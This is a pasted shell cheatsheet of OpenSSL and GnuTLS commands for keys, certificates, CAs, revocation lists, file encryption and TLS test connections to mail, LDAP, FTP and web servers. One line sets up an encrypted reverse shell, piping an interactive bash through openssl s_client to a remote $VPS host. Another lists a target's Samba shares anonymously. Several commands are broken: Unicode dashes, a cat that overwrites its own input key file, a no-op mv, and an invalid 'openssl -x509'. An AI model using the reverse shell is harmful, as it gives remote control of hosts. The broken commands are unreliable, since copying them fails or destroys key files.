Advertisement
xe1phix

Xe1phix-[OpenSSL]+[GnuTLS]-Cheatsheet-[v14.8.54.].sh

Jun 28th, 2023
1,564
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 23.35 KB | Cybersecurity | 0 0
  1. #!/bin/sh
  2. ##-=================================================-##
  3. ##   [+] Xe1phix-[OpenSSL]-[GnuTLS]-Cheatsheet-[v*.*.*.].sh
  4. ##-=================================================-##
  5. ## ------------------------------------------------------------------------------------------- ##
  6. ##   [?]
  7. ## ------------------------------------------------------------------------------------------- ##
  8.  
  9.  
  10.  
  11. #!/bin/sh
  12.  
  13. ##-=============================================-##
  14. ##   [+]
  15. ##-=============================================-##
  16. openssl genpkey -algorithm RSA -out $Key.pem
  17.  
  18.  
  19. ##-===================================-##
  20. ##     [+]  Encrypt and decrypt A single file:
  21. ##-===================================-##
  22. openssl aes‐128‐cbc ‐salt ‐in $File ‐out $File.aes
  23. openssl aes‐128‐cbc ‐d ‐salt ‐in $File.aes ‐out $File
  24.  
  25.  
  26. ##-==================================================-##
  27. ##     [+]  
  28. ##-==================================================-##
  29.  
  30.  
  31.  
  32. ## ----------------------------------------------------------------------------------------------- ##
  33. ##    [?]  Note: the archive file can be tar archive format as well:
  34. ## ----------------------------------------------------------------------------------------------- ##
  35.  
  36. ##-====================================-##
  37. ##     [+]   Tar and Encrypt a whole directory:
  38. ##-====================================-##
  39. ## --------------------------------------------------------------------------------------------------------------- ##
  40. tar ‐cf ‐ $Dir | openssl aes‐128‐cbc ‐salt ‐out $Dir.tar.aes            ##  Encrypt
  41. openssl aes‐128‐cbc ‐d ‐salt ‐in $Dir.tar.aes | tar ‐x ‐f ‐                     ##  Decrypt
  42. ## --------------------------------------------------------------------------------------------------------------- ##
  43.  
  44.  
  45.  
  46. ##-======================================-##
  47. ##     [+]   Tar zip and Encrypt a whole directory:
  48. ##-======================================-##
  49. ## ------------------------------------------------------------------------------------------------------------------- ##
  50. tar ‐zcf ‐ $Dir | openssl aes‐128‐cbc ‐salt ‐out $Dir.tar.gz.aes            ##  Encrypt
  51. openssl aes‐128‐cbc ‐d ‐salt ‐in $Dir.tar.gz.aes | tar ‐xz ‐f ‐             ##  Decrypt
  52. ## -------------------------------------------------------------------------------------------------------------------- ##
  53.  
  54.  
  55.  
  56. ##-================================-##
  57. ##    [+] Generate Checksum from file
  58. ##-================================-##
  59.  
  60. echo "## --------------------------------------------------------------------------- ##"
  61. openssl md5 file.tar.gz            # Generate an md5 checksum from file
  62. openssl sha1 file.tar.gz           # Generate an sha1 checksum from file
  63. openssl rmd160 file.tar.gz         # Generate a RIPEMD‐160 checksum from file
  64. echo "## --------------------------------------------------------------------------- ##"
  65.  
  66.  
  67. gpg --symmetric --cipher $cipher --armor $sourcefile
  68.  
  69.  
  70.  
  71. ##-=============================================-##
  72. ##    [+] Create a certificate authority
  73. echo "## =========================================== ##"
  74. echo "## ============================================================================================================= ##"
  75. openssl req ‐new ‐x509 ‐days 730 ‐config /etc/ssl/openssl.cnf ‐keyout CA/private/cakey.pem ‐out CA/cacert.pem
  76. echo "## ============================================================================================================= ##"
  77. openssl req ‐new ‐keyout $Key.pem ‐out $Req.pem ‐config /etc/ssl/openssl.cnf
  78. openssl req ‐nodes ‐new ‐keyout $Key.pem ‐out $Req.pem ‐config /etc/ssl/openssl.cnf       # No encryption for the key
  79. echo "## ============================================================================================================= ##"
  80.  
  81. ##-=============================================-##
  82. ##    [+] Sign the certificate
  83. echo "## =========================================== ##"
  84.  
  85. echo "## ------------------------------------------- ##"
  86. cat $Req.pem $Key.pem > $Key.pem
  87. echo "## ============================================================================================================= ##"
  88. openssl ca ‐policy policy_anything ‐out $Cert.pem ‐config /etc/ssl/openssl.cnf ‐infiles new.pem
  89. echo "## ============================================================================================================= ##"
  90. mv $Key.pem $Key.pem
  91. echo "## ------------------------------------------- ##"
  92.  
  93.  
  94.  
  95. CA/private/cakey.pem (CA server private key)
  96. CA/cacert.pem (CA server public key)
  97. certs/servernamekey.pem (server private key)
  98. certs/servernamecert.pem (server signed certificate)
  99. certs/servername.pem (server certificate with private key)
  100.  
  101.  
  102.  
  103. openssl x509 ‐text ‐in servernamecert.pem      # View the certificate info
  104. openssl req ‐noout ‐text ‐in server.csr        # View the request info
  105. openssl s_client ‐connect cb.vu:443            # Check a web server certificate
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114. ##-=============================-##
  115. ##    [+] create an RSA private key:
  116. ##-=============================-##
  117. certtool --generate-privkey --outfile $Key.pem --rsa
  118.  
  119.  
  120. ## ---------------------------------------------------------------------- ##
  121. ##    [?]  The private key is stored in a smart card
  122. ## ---------------------------------------------------------------------- ##
  123. ##-=================================-##
  124. ##    [+] Generate A Certificate Request:
  125. ##-=================================-##
  126. certtool --generate-request --load-privkey "pkcs11:..." --load-pubkey "pkcs11:..."
  127.  
  128.  
  129. ##-===============================-##
  130. ##    [+] Create self-signed certificate
  131. ##-===============================-##
  132. certtool --generate-privkey --outfile $Key.pem
  133. certtool --generate-self-signed --load-privkey $Key.pem --outfile $Key.pem
  134.  
  135. certtool --generate-certificate --load-request $Request.pem --outfile $Cert.pem --load-ca-certificate $CACert.pem --load-ca-privkey $CAKey.pem
  136.  
  137.  
  138. ##-===========================================-##
  139. ##    [+] Generate a certificate using the private key
  140. ##-===========================================-##
  141. certtool --generate-certificate --load-privkey $Key.pem --outfile $Cert.pem --load-ca-certificate $CACert.pem --load-ca-privkey $CAKey.pem
  142.  
  143.  
  144. ##-==============================-##
  145. ##    [+] View Certificate information
  146. ##-==============================-##
  147. certtool --certificate-info --infile $Cert.pem
  148.  
  149. ##-=======================================-##
  150. ##    [+] Generate a PKCS #12 structure
  151. ##    [+] using the previous key and certificate
  152. ##-=======================================-##
  153. certtool --load-certificate $Cert.pem --load-privkey $Key.pem --to-p12 --outder --outfile $Key.p12
  154.  
  155. certtool --load-ca-certificate $CACert.pem --load-certificate $Cert.pem --load-privkey $Key.pem --to-p12 --outder --outfile $Key.p12
  156.  
  157. ##-===============================================-##
  158. ##    [+] Generate Diffie-Hellman key exchange parameters:
  159. ##-===============================================-##
  160. certtool --generate-dh-params --outfile $DH.pem --sec-param medium
  161.  
  162. certtool --generate-privkey > $Key.pem
  163. certtool --generate-proxy --load-ca-privkey $Key.pem --load-privkey $ProxyKey.pem --load-certificate $Cert.pem --outfile $ProxyCert.pem
  164.  
  165. ##-================================================-##
  166. ##    [+] Certificate revocation list generation
  167. ##    [+] Create an empty Certificate Revocation List (CRL):
  168. ##-================================================-##
  169. certtool --generate-crl --load-ca-privkey $x509CAKey.pem --load-ca-certificate $x509CA.pem
  170.  
  171. ##-=============================================================-##
  172. ##    [+] create a CRL that contains some revoked certificates,
  173. ##    [+] place the certificates in a file and use --load-certificate as follows:
  174. ##-=============================================================-##
  175. certtool --generate-crl --load-ca-privkey $x509CAKey.pem --load-ca-certificate $x509CA.pem --load-certificate $RevokedCerts.pem
  176.  
  177.  
  178. ##-=============================================-##
  179. ##    [+] verify a Certificate Revocation List (CRL):"
  180. ##-=============================================-##
  181. certtool --verify-crl --load-ca-certificate $x509CACert.pem < $CRL.pem
  182.  
  183.  
  184.  
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193.  
  194.  
  195.  
  196. cd /etc/ssl/certs
  197. /usr/share/ssl/misc/CA -newca
  198.  
  199.  
  200. ##-=============================================-##
  201. ##    [+] create a SSL .cnf file for your new CA.
  202. ##-=============================================-##
  203. cp /usr/share/ssl/openssl.cnf /etc/ssl/openssl.cnf
  204.  
  205.  
  206. ##-=============================================-##
  207. ##    [+] Creating a Certificate Request
  208. ##-=============================================-##
  209. openssl req -config /etc/ssl/openssl.cnf -new -keyout $Key.pem -out $CSR.csr
  210.  
  211.  
  212. ##-=============================================-##
  213. ##    [+] Signing Your Certificate Request
  214. ##-=============================================-##
  215. openssl ca -config /etc/ssl/certs/puppyCA/openssl.cnf -policy policy_anything -out $Cert.pem -infiles $CSR.csr
  216.  
  217.  
  218.  
  219.  
  220.  
  221. cd /etc/ssl
  222. chmod 0755 certs
  223. cd certs
  224. chmod -R 0400 *
  225.  
  226.  
  227.  
  228. ##-=============================================-##
  229. ##    [+] Creating a CRL
  230. ##-=============================================-##
  231. cd /etc/ssl/certs/puppyCA/
  232. openssl ca -gencrl -out $CRL.pem -config /etc/ssl/certs/puppyCA/openssl.cnf
  233.  
  234.  
  235.  
  236. ##-=============================================-##
  237. ##    [+] Revoking a Certificate
  238. ##-=============================================-##
  239. openssl ca -revoke $Cert.pem -config /etc/ssl/openssl.cnf
  240.  
  241.  
  242.  
  243. --verbose
  244. --debug=                        ## in the range  0 through 9999
  245. --resume
  246. --crlf
  247. --sni-hostname=                     ## Server's hostname for server name indication extension
  248. --verify-hostname=
  249. --starttls
  250. --starttls-proto=https
  251. --starttls-proto=ftp
  252. --starttls-proto=smtp
  253. --starttls-proto=imap
  254. --starttls-proto=ldap
  255. --starttls-proto=xmpp
  256. --starttls-proto=pop3
  257. --starttls-proto=sieve
  258. --starttls-proto=nntp
  259. --starttls-proto=postgres
  260. --starttls-proto=lmtp
  261.  
  262.  
  263. --local-dns
  264. --dane                              ## Enable DANE certificate verification (DNSSEC)
  265. --tofu                              ## Enable trust on first use authentication.
  266. --strict-tofu                       ## Fail to connect if a certificate is unknown or a known certificate has changed
  267.  
  268. --ca-verification
  269. --print-cert
  270. --save-cert=$PEM
  271.  
  272.  
  273. --ocsp                              ## Enable OCSP certificate verification.
  274. --no-ocsp                           ## dISABLE OCSP certificate verification
  275. --save-ocsp=
  276.  
  277. --save-server-trace=
  278. --save-client-trace=
  279.  
  280.  
  281. --rehandshake           ##
  282.  
  283.  
  284. ##-=============================================-##
  285. ##   [+]
  286. ##-=============================================-##
  287. gnutls-cli --crlf --starttls --x509cafile /etc/pki/CA/$CACert.pem --port 25 mail.$Domain
  288.  
  289.  
  290. ##-=============================================-##
  291. ##   [+]
  292. ##-=============================================-##
  293. gnutls-cli --port 9998 --x509cafile $x509CAFile.cer $Domain
  294.  
  295.  
  296.  
  297. openssl s_client -connect imap.gmail.com:993
  298.  
  299. gnutls-cli imap.gmail.com -p 993
  300.  
  301. socat openssl:imap.gmail.com:993 stdio
  302.  
  303. socat ssl:imap.gmail.com:993 readline
  304.  
  305. ncat --ssl imap.gmail.com 993
  306.  
  307. telnet-ssl -z ssl imap.gmail.com 993
  308.  
  309.  
  310. ##-=============================================-##
  311. ##   [+]
  312. ##-=============================================-##
  313. gnutls-cli -p 5223 talk.google.com
  314.  
  315.  
  316. ##-=============================================-##
  317. ##   [+]
  318. ##-=============================================-##
  319. gnutls-cli $Domain -p 389 --starttls-proto=ldap
  320.  
  321.  
  322. openssl s_server -accept 8443 -cert $Cert.pem -key $Key.pem -cipher eNULL
  323.  
  324.  
  325. openssl s_client -connect $IP:40004 </dev/null 2>/dev/null | openssl x509 -outform PEM > $Cert.pem
  326.  
  327.  
  328.  
  329.  
  330.  
  331. openssl s_server -accept 8888 -cert server.cert -key server.key -pass file:passphrase.txt -CAfile ca.cert
  332. openssl s_client -connect 127.0.0.1:8888 -cert client.cert -key client.key -pass file:passphrase.txt -CAfile ca.cert
  333. openssl s_client -connect 127.0.0.1:8888 -cert client.cert -key client.key -pass file:passphrase.txt -CAfile ca.cert
  334.  
  335.  
  336.  
  337.  
  338.  
  339. ##-=============================================-##
  340. ##   [+]
  341. ##-=============================================-##
  342. openssl s_server -cert $Cert -verify 2
  343.  
  344.  
  345. ##-==============    ===============================-##
  346. ##   [+]
  347. ##-=============================================-##
  348. openssl s_client -starttls imap -connect 127.0.0.1:1143 -showcerts
  349. openssl s_client -starttls imap -connect $Domain:1143 -showcerts
  350.  
  351.  
  352. ##-=============================================-##
  353. ##   [+]
  354. ##-=============================================-##
  355. gnutls-cli LDAP -p 389 --starttls-proto=ldap
  356.  
  357.  
  358.  
  359. openssl req -x509 -newkey rsa:4096 -keyout $Key.pem -out $Cert.pem -days 365 -nodes
  360.  
  361. openssl s_server -quiet -key $Key.pem -cert $Cert.pem -port 80
  362.  
  363. mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $VPS:1024 > /tmp/s; rm /tmp/s
  364.  
  365.  
  366.  
  367.  
  368.  
  369. ##-=============================================-##
  370. ##   [+]
  371. ##-=============================================-##
  372. openssl s_server -msg -tlsextdebug -state -cert $Cert.crt -key $Key.key
  373.  
  374.  
  375.  
  376.  
  377.  
  378. ##-=============================================-##
  379. ##   [+]
  380. ##-=============================================-##
  381. openssl s_server -accept 1111 -cert $Cert.crt -key $Key.key -CAfile $CA.crt -verify 1
  382.  
  383.  
  384.  
  385. ##-=============================================-##
  386. ##    [+] Get the SAN (subjectAltName) of a sites certificate.
  387. ##-=============================================-##
  388. echo "quit" | openssl s_client -tls1_2 -connect $Domain:443 | openssl x509 -noout -text | grep "DNS:" | perl -pe "s/(, )?DNS:/\n/g"
  389.  
  390.  
  391. ##-=============================================-##
  392. ##    [+] List SAN domains for a certificate
  393. ##-=============================================-##
  394. echo | openssl s_client -tls1_2 -connect $Domain:443 2>&1 | openssl x509 -noout -text | awk -F, -v OFS="\n" '/DNS:/{x=gsub(/ *DNS:/, ""); $1=$1; print $0}'
  395.  
  396.  
  397. ##-=============================================-##
  398. ##   [+] Debug openssl from CLI
  399. ##-=============================================-##
  400. openssl s_client -tls1_2 -state -connect $Domain:443
  401.  
  402.  
  403. ##-=============================================-##
  404. ##   [+] Download certificate from FTP
  405. ##-=============================================-##
  406. echo | openssl s_client -servername ftp.$Domain -connect ftp.$Domain:21 -starttls ftp 2>/dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p'
  407.  
  408.  
  409. ##-=============================================-##
  410. ##   [+] Download certificate chain from FTP
  411. ##-=============================================-##
  412. echo | openssl s_client -showcerts -connect ftp.$Domain:21 -starttls ftp 2>/dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p'
  413.  
  414.  
  415. echo | openssl s_client -connect $Domain:21 -starttls ftp
  416. echo | openssl s_client -connect ftp.$Domain:21 -starttls ftp
  417.  
  418. echo | openssl s_client -connect ftp.debian.org:21 -starttls ftp
  419.  
  420.  
  421. ##-=============================================-##
  422. ##   [+] test and send email via smtps using openssl client
  423. ##-=============================================-##
  424. (sleep 1;echo EHLO MAIL;sleep 1;echo "MAIL FROM: <a@foo.de>";sleep 1;echo "RCPT TO: <b@bar.eu>";sleep 1;echo DATA;sleep 1;echo Subject: test;sleep 1;echo;sleep 1;echo Message;sleep 1;echo .;sleep 1;)|openssl s_client -host b.de -port 25 -starttls smtp
  425.  
  426.  
  427. ##-=============================================-##
  428. ##   [+] Get SSL expiration date from remote site
  429. ##-=============================================-##
  430. openssl s_client -showcerts -servername www.google.com -connect www.google.com:443 </dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' | openssl x509 -noout -subject -dates
  431. echo | openssl s_client -servername google.de -connect google.de:443 2>/dev/null | openssl x509 -noout -enddate
  432.  
  433.  
  434.  
  435.  
  436.  
  437. openssl s_client -tls1_2 -host registry.videoanalytics.x5.ru -port 443
  438.  
  439.  
  440. openssl s_client -tls1_2 -connect graph.facebook.com:443
  441. openssl s_client -connect graph.facebook.com:443 -debug -state -msg -CAfile /etc/ssl/certs/$CACertificates.crt
  442.  
  443.  
  444. ##-==========================-##
  445. ##   [+] Connect Using TLSv1.2
  446. ##-==========================-##
  447. openssl s_client -tls1_2 -connect $Domain:443
  448.  
  449.  
  450.  
  451.  
  452.  
  453. Get a list of all browsable Samba shares on the target server.
  454.  
  455. smbclient -N -gL \\SambaServer 2>&1 | grep -e "Disk|" | cut -d'|' -f2
  456.  
  457.  
  458.  
  459. ##-=====================================-##
  460. ##     [+] Connect Using A SSLv3 Connection
  461. ##-=====================================-##
  462. openssl s_client -connect $Domain:443 -ssl3
  463. openssl s_client -connect localhost:443 -ssl3
  464.  
  465.  
  466. openssl s_client -showcerts -connect 127.0.0.1:8080
  467.  
  468.  
  469. openssl s_client -tls1_2 -alpn h2 -connect 127.0.0.1:443 -status    
  470. echo | openssl s_client -alpn h2 -connect localhost:443 | grep ALPN
  471.  
  472.  
  473.  
  474. openssl s_client -debug -connect $Domain:9080
  475.  
  476. openssl s_client -tls1_2 -showcerts -connect $Domain:443
  477.  
  478.  
  479. ##-=============================================-##
  480. ##   [+] Connect
  481. ##-=============================================-##
  482. openssl s_client -debug -state -connect localhost:3001
  483.  
  484.  
  485. ##-=============================================-##
  486. ##   [+] Connect
  487. ##-=============================================-##
  488. openssl s_client -connect $LDAPService:636
  489. openssl s_client -connect $LDAPHost:636
  490. openssl s_client -connect $LDAPHost:636 -ssl3
  491. openssl s_client -connect $LDAPHost:636 -stls1
  492.  
  493. ##-=============================================-##
  494. ##   [+] Connect
  495. ##-=============================================-##
  496. openssl s_client -tls1_2 -connect auth.startssl.com:443  
  497.  
  498.  
  499. ##-=============================================-##
  500. ##   [+] Connect To POP3 Using OpenSSL
  501. ##-=============================================-##
  502. openssl s_client -crlf -connect $Domain:110 -starttls pop3
  503.  
  504.  
  505. ##-=============================================-##
  506. ##   [+] Connect to SMTP server using STARTTLS
  507. ##-=============================================-##
  508. openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25
  509.  
  510. openssl s_client -tls1_2 -connect auth.startssl.com:443    
  511.  
  512. openssl s_client -connect $Domain:443 -tls1_2 -servername $Domain | openssl x509 -text -noout
  513.  
  514.  
  515. ##   Connect to SMTP server using STARTTLS
  516.  
  517. ##   [+] connect to an SMTP server over TLS.
  518. ##   [?] which is useful for debugging SMTP sessions.
  519.  
  520. ## ---------------------------------------- ##
  521. ##    [?] Command Source:
  522. ## ---------------------------------------- ##
  523. ## ------------------------------------------------------------------------------------------------------------------------------------------------- ##
  524. ##~->  https://www.commandlinefu.com/commands/view/3093/connect-to-smtp-server-using-starttls
  525. ## ------------------------------------------------------------------------------------------------------------------------------------------------- ##
  526. openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25
  527.  
  528.  
  529.  
  530. openssl s_client -connect $Domain:443 -state -nbio -servername $Domain
  531. openssl s_client -tls1_2 -connect $Domain:443 -state -nbio -servername $Domain
  532.  
  533. openssl s_client -connect smtp.comcast.net:465 -tls1_2
  534.  
  535. ##-================================-##
  536. ##     [+] Save the output In a File
  537. ##     [+] display the certificate details
  538. ##-================================-##
  539. openssl s_client -connect smtp.comcast.net:465 -tls1_2 > /tmp/smtps
  540. openssl x509 -in /tmp/smtps -text
  541.  
  542.  
  543.  
  544. openssl x509 -in serverCASigned.crt -text -noout
  545.  
  546.  
  547. openssl s_client -connect smtp.comcast.net:465 -tls1_2 | openssl x509 -in /dev/stdin -text
  548.  
  549.  
  550. openssl s_client -connect smtp.office365.com:587 -starttls smtp
  551.  
  552.  
  553. ##-================================-##
  554. ##     [+] Connect to Gmail using IMAP
  555. ##-================================-##
  556. openssl s_client -tls1 -connect imap.gmail.com:993
  557. openssl s_client -tls1_2 -connect imap.gmail.com:993
  558. openssl s_client -ssl3 -connect imap.gmail.com:993
  559.  
  560. openssl s_client -host $Domain -port 993
  561. openssl s_client -tls1 -host $Domain -port 993
  562. openssl s_client -tls1_2 -host $Domain -port $Port
  563.  
  564.  
  565.  
  566. ##-==================================-##
  567. ##     [+] Connect to an MTA Using SMTP
  568. ##-==================================-##
  569. openssl s_client -connect $Sub.$Domain.com:25 -starttls smtp
  570. openssl s_client -connect $Domain:25 -starttls smtp
  571.  
  572. gnutls-cli-debug --starttls-proto smtp --port 25 localhost
  573.  
  574. ##-=======================================-##
  575. ##     [+] Connect To A SMTP Server
  576. ##     [+] Securing The Connection Using A CA:
  577. ##-=======================================-##
  578. openssl s_client -starttls smtp -CApath $Dir/ -connect 127.0.0.1:25
  579. openssl s_client -starttls smtp -CApath $Dir/ -connect $Domain:25
  580. openssl s_client -CAfile $CAFile -starttls smtp -connect 127.0.0.1:25
  581. openssl s_client -CAfile $CAFile -starttls smtp -connect $Domain:25
  582. openssl s_client -CAfile $CAFile -starttls smtp -connect $Domain --port 25
  583. openssl s_client -starttls smtp -CApath /etc/postfix/certs/ -connect 127.0.0.1:25
  584. openssl s_client -starttls smtp -CApath /etc/postfix/certs/ -connect $Domain:25
  585.  
  586.  
  587.  
  588. openssl s_client -connect smtp.office365.com:587 -starttls smtp
  589.  
  590.  
  591.  
  592.  
  593.  
  594.  
  595. ##-=============================================-##
  596. ##     [+] Connect to a non-MTA client such as an IMAP server:
  597. ##-=============================================-##
  598. openssl s_client -connect $Sub.$Domain.com:993
  599. openssl s_client -connect $Domain:993
  600.  
  601.  
  602.  
  603. openssl s_client -showcerts -connect chat.freenode.net:6697
  604. openssl s_client -showcerts -connect -tls1_2 chat.freenode.net:6697
  605.  
  606.  
  607.  
  608.  
  609. ##-=============================================-##
  610. ##     [+] Starting a Test SSL Server Using the openssl s_server Function
  611. ##-=============================================-##
  612. openssl s_server -key puppy.yourdomain.com.key.pem -cert puppy.yourdomain.com.cert.pem
  613.  
  614.  
  615.  
  616. telnet mail.$Domain 25
  617.  
  618. openssl s_client -starttls smtp -CApath /etc/postfix/certs/ -connect 127.0.0.1:25
  619. openssl s_client -starttls smtp -CApath /etc/postfix/certs/ -connect 127.0.0.1:25
  620. openssl s_client -starttls smtp -CApath /etc/postfix/certs/ -connect 127.0.0.1:25
  621.  
  622. openssl s_client -starttls smtp -CApath /etc/postfix/certs/ -connect 127.0.0.1:25
  623.  
  624. openssl s_client -connect smtp.office365.com:587 -starttls smtp
  625.  
  626.  
  627.  
  628.  
  629.  
  630. openssl s_client -tls1_2 -CApath /etc/ssl/certs -connect $Domain:443
  631.  
  632.  
  633.  
  634. openssl s_client -tls1_2 -host google.com -port 443 | openssl x509 -noout -dates -subject -issuer
  635.  
  636.  
  637.  
  638.  
  639.  
  640.  
  641. ehlo localhost
  642.  
  643.  
  644. ##-=============================================-##
  645. ##     [+] Setting Up an SSL Certificate for Apache2
  646. ##-=============================================-##
  647.  
  648. openssl -x509 -text -in server.crt
  649.  
  650. openssl verify -CAfile /path/to/trusted_ca.crt -purpose sslserver my.domain.org.crt
  651.  
  652.  
  653. openssl x509 -noout -modulus -in my.domain.org.pem | openssl sha1
  654. openssl rsa -noout -modulus -in my.domain.org.key | openssl sha1
  655.  
  656.  
  657.  
  658. cp my.domain.org.key my.domain.org.crt /etc/apache2/ssl
  659. chown root:root my.domain.org.key; chmod og-r my.domain.org.key
  660. chown root:root my.domain.org.crt; chmod a+r my.domain.org.crt
  661.  
  662.  
  663.  
  664.  
  665.  
  666.  
  667. mkdir -p /etc/ssl/private/
  668. openssl req -x509 -nodes -newkey rsa:4096 -keyout /etc/ssl/private/pure-ftpd.pem -out /etc/ssl/private/pure-ftpd.pem
  669. chmod -f 0600 /etc/ssl/private/*.pem
  670.  
  671.  
  672. --verbose
  673.  
  674. --x509crlfile=
  675. --x509cafile=
  676. --x509keyfile=
  677. --x509certfile=
  678.  
  679.  
  680. --sni-hostname=
  681. --verify-hostname=
  682.  
  683. --starttls
  684. --starttls-proto=
  685. https, ftp, smtp, imap, ldap, xmpp, lmtp, pop3, nntp, sieve, postgres
  686.  
  687.  
  688. --port=
  689.  
  690.  
  691. --save-server-trace=str
  692. --save-client-trace=
  693. --logfile=
  694.  
  695.  
  696.  
  697. --print-cert
  698.  
  699.  
  700.  
  701.  
  702.  
  703. gnutls-cli-debug localhost
  704.  
  705.  
  706. gnutls-cli-debug --starttls-proto smtp --port 25 localhost
  707.  
  708.  
  709.  
  710.  
  711.  
  712.  
  713.  
  714. curl https://vmlinux:2376/images/json --cert ~/.docker/cert.pem --key ~/.docker/key.pem --cacert ~/.docker/ca.pem
  715.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement